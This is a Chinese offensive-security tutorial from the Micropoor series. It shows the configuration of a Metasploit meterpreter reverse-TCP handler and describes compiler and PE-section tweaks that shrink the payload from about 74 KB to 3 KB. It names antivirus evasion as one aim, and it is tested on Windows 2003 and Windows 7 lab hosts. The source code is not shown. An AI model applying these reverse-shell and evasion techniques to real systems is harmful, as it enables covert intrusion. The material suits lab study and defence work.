第九十四课:基于实战中的small payload

注:请多喝点热水或者凉白开,可预防肾结石,通风等。 痛风可伴发肥胖症、高血压病、糖尿病、脂代谢紊乱等多种代谢性疾病。

攻击机: 192.168.1.5 Debian 靶机: 192.168.1.4 Windows 7 192.168.1.119 Windows 2003

攻击机配置:

payload:windows/meterpreter/reverse_tcp

msf exploit(multi/handler) > show options 

Module options (exploit/multi/handler): 

Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ 

Payload options (windows/meterpreter/reverse_tcp): 

Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)

LHOST 192.168.1.5 yes The listen address (an interface may be specified)

LPORT 53 yes The listen port 

Exploit target: 

Id Name
‐‐ ‐‐‐‐
0 Wildcard Target

msf exploit(multi/handler) > exploit 

[*] Started reverse TCP handler on 192.168.1.5:53

payload生成:

原始payload大小如下: 73802字节,大概在72KB

第一次优化payload:

提取windows/meterpreter/reverse_tcp shellcode

建立Micropoor_small_payload工程,配置如下:

源码如下:

原始shellcode_payload大小如下: 75776字节

优化: 在优化的过程中,需要确保

  • 性能

  • 稳定性

  • 大小

  • 可塑性

  • 免杀性

非算法,故优化/01

无使用预编译头,故否

无需调试信息,故否

自定义入口点:execMicropoor_shellcode

再次编译:

payload大小如下: 4608字节

第一次靶机测试:分别测试Windows 2003,Windws 7,reverse OK。

第二次优化payload:

载入PEID

合并data to text,rdata to text 在次生成。

Section变化如下:

payload大小如下: 4096字节

第二次靶机测试:分别测试Windows 2003,Windws 7,reverse OK。

第三次优化payload:

在00000E60起含有大部分000h,充填掉00,在次生成payload。

payload大小如下:

3174字节

第三次靶机测试:分别测试Windows 2003,Windws 7,reverse OK。并且最终编译运行库依然为:/MT

第四次优化payload:

.......

文中的前三次优化,三次生成,已满足大部分实战场景。当遇到更苛刻的实战场景,75776字节优化到3174字节,接下来的季中,会继续优化。

Micropoor

Last updated

Was this helpful?